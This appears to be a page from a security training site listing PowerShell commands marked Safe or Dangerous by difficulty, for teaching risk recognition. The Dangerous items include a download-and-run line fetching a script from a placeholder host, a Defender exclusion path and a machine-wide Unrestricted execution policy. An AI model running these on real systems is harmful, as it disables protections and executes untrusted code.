← ReflexSec
PowerShell
Every command ReflexSec uses, with the explanation behind the call. No timer — read at your own pace.
AllFile SystemNetworkingPrivilege EscalationPersistenceCredential AccessData ExfiltrationProcess ExecutionShellContainersCloudGit / DevelopmentLinuxmacOSWindowsPowerShellPythonJavaScript / NodeDockerKubernetesCI/CDWeb Security
- Safe
Get-WinEvent -LogName Security -MaxEvents 50Expert - Dangerous
Add-MpPreference -ExclusionPath C:\Users\PublicExpert - Safe
Get-AuthenticodeSignature 'C:\Program Files\App\app.exe' | Format-ListExpert - Dangerous
Invoke-WebRequest https://example.com/a.ps1 -OutFile $env:TEMP\a.ps1; & $env:TEMP\a.ps1Expert - Safe
Get-ChildItem C:\Users -Include *.ps1 -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern 'Invoke-Expression' | Select-Object Path,LineNumberNightmare - Safe
Get-ExecutionPolicy -ListProIntermediate - Safe
Get-Alias iex, irm, iwr | Select-Object Name, DefinitionProAdvanced - Safe
Get-Content .\webhook.json | ConvertFrom-Json | Select-Object -ExpandProperty payloadProAdvanced - Safe
Set-ExecutionPolicy AllSigned -Scope CurrentUserProAdvanced - Dangerous
Set-ExecutionPolicy Unrestricted -Scope LocalMachine -ForceProAdvanced - Safe
Select-String -Path .\scripts\*.ps1 -Pattern 'DownloadString' -SimpleMatchProExpert - Safe
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($enc))ProNightmare - Safe
Register-PSSessionConfiguration -Name OpsRestricted -Path .\OpsRestricted.pssc -ForceProNightmare